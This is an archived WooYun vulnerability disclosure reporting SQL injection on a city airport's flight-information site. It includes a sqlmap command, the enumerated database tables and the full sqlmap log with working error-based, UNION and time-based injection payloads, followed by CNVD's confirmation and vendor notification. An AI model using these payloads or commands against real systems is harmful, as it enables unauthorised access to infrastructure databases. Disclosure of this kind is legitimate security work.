乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-29: 细节已通知厂商并且等待厂商处理中 2016-01-05: 厂商已经确认,细节仅向厂商公开 2016-01-15: 细节向核心白帽子及相关领域专家公开 2016-01-25: 细节向普通白帽子公开 2016-02-04: 细节向实习白帽子公开 2016-02-12: 细节向公众公开
某市国际机场主站SQL注入漏洞
【注入点】:http://**.**.**.**/flight/FlightEvent2.asp?fanwei=%B3%F6%B8%DB%BA%BD%B0%E0&dfz=%C8%AB%B2%BF&hbh=&submit=+%CC%E1%BD%BB+【dfz参数存在注入】:python sqlmap.py -u "http://**.**.**.**/flight/FlightEvent2.asp?fanwei=%B3%F6%B8%DB%BA%BD%B0%E0&dfz=%C8%AB%B2%BF&hbh=&submit=+%CC%E1%BD%BB+" -p dfz --current-db【sqlmap截图】:当前数据库信息:
数据库信息
【数据库】:
Database: fids[67 tables]+------------------------------------+| AtcEvent || ControlFIDS || ControlTTS || Convert_Records || Ctrl_Bag_V1new || Ctrl_Bag_V1new || DictionaryAirways || DictionaryBridge || DictionaryCause_bak || DictionaryCause_bak || DictionaryCommand || DictionaryMsg || DictionaryPlane || DictionaryProperty || DictionaryStatus || DictionaryTTSBAK || DictionaryTTSBAK || DictionaryToponym || FlightEventTest || FlightEvent_temp || FlightEvent_temp || FlightPlan || FlightSchedule || FlightTelegram || Gate || Handle_CtrlBagV1_Records || INFOAIR_GATE || MP3LIB || New_update_log_help_lei || New_update_log_help_neirong || New_update_log_help_userlist || ONextDaySched_TEMP || PbsArea || PlanToPrint || Results || TempFlight || Texmsg || TexmsgTest || TimeSetting || djk_hangban || dtproperties || hangban || historyofflightevent || hx_test || new_hx_fbxx2_fl_1 || new_hx_fbxx2_fl_2 || new_hx_fbxx2_log || new_hx_fbxx2_neirong || new_hx_fbxx_fl_1 || new_hx_fbxx_fl_2 || new_hx_fbxx_log || new_hx_fbxx_neirong || new_hx_hangban_bak || new_hx_hangban_bak || new_hx_jc_cx_temp || new_hx_jc_dm || new_hx_loginlog || new_hx_t || new_hx_userlist || new_hx_warm || sysconstraints || syssegments || view_of_FlightEvent_ForChinaMobile || view_of_FlightEvent_ForPBS_Only || view_of_FlightEvent_a || view_of_FlightEvent_a || view_of_tts |+------------------------------------+
【sqlmap全过程】
[19:01:37] [INFO] testing connection to the target URL[19:01:44] [INFO] heuristics detected web page charset 'ISO-8859-2'sqlmap got a refresh request (redirect like response common to login pages). Doyou want to apply the refresh from now on (or stay on the original page)? [Y/n][19:02:31] [INFO] testing if the target URL is stable. This can take a couple of seconds[19:02:47] [INFO] target URL is stable[19:02:48] [INFO] heuristics detected web page charset 'GB2312'[19:02:48] [INFO] heuristic (basic) test shows that GET parameter 'dfz' might be injectable (possible DBMS: 'Microsoft SQL Server')[19:02:49] [INFO] testing for SQL injection on GET parameter 'dfz'heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n]do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n][19:02:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[19:04:55] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'[19:05:17] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'[19:05:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked conditional-error blind queries'[19:07:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[19:07:56] [INFO] GET parameter 'dfz' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable[19:07:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[19:07:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[19:07:56] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)[19:08:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[19:08:21] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'[19:09:08] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'[19:10:08] [INFO] GET parameter 'dfz' seems to be 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)' injectable[19:10:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[19:10:08] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[19:10:17] [WARNING] reflective value(s) found and filtering out[19:10:17] [INFO] ORDER BY technique seems to be usable. This should reduce thetime needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[19:10:54] [INFO] target URL appears to have 19 columns in query[19:12:46] [INFO] GET parameter 'dfz' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'dfz' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection points with a total of 74 HTTP(s) requests:---Parameter: dfz (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: fanwei=%B3%F6%B8%DB%BA%BD%B0%E0&dfz=%C8%AB%B2%BF' AND 6639=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN(6639=6639) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(118)+CHAR(113))) AND 'PLlG'='PLlG&hbh=&submit= %CC%E1%BD%BB Type: UNION query Title: Generic UNION query (NULL) - 19 columns Payload: fanwei=%B3%F6%B8%DB%BA%BD%B0%E0&dfz=%C8%AB%B2%BF' UNION ALL SELECTNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(107)+CHAR(98)+CHAR(113)+CHAR(86)+CHAR(70)+CHAR(79)+CHAR(98)+CHAR(76)+CHAR(101)+CHAR(101)+CHAR(70)+CHAR(120)+CHAR(99)+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(118)+CHAR(113),NULL,NULL,NULL,NULL-- &hbh=&submit= %CC%E1%BD%BB Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) Payload: fanwei=%B3%F6%B8%DB%BA%BD%B0%E0&dfz=%C8%AB%B2%BF' AND 5168=(SELECTCOUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)--&hbh=&submit= %CC%E1%BD%BB---[19:12:47] [INFO] testing Microsoft SQL Server[19:12:48] [INFO] confirming Microsoft SQL Server[19:12:52] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2000
危害等级:高
漏洞Rank:10
确认时间:2016-01-05 16:44
CNVD确认并复现所述情况,已经转由CNCERT向民航行业测评中心通报,并抄报广西分中心协助处置,由其后续协调网站管理单位处置.
暂无